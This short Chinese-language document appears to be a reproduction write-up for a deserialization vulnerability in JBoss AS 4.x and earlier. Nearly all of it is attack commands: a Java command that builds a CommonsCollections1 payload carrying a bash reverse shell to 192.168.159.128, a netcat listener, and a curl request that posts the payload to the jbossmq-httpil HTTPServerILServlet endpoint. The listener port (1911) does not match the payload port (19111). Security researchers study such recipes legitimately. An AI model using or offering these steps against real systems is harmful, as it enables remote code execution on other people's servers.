影响范围

JBoss AS 4.x及之前版本

 

 

复现

编译生成序列化数据

 

序列化恶意数据

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.159.128/19111 0>&1"

 

kali开启本地监听

nc -lvvp 1911

将@ExampleCommonsCollections1WithHashMap.ser 发送到http://192.168.159.128:8080/jbossmq-httpil/HTTPServerILServlet

 

curl http://192.168.159.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

成功反弹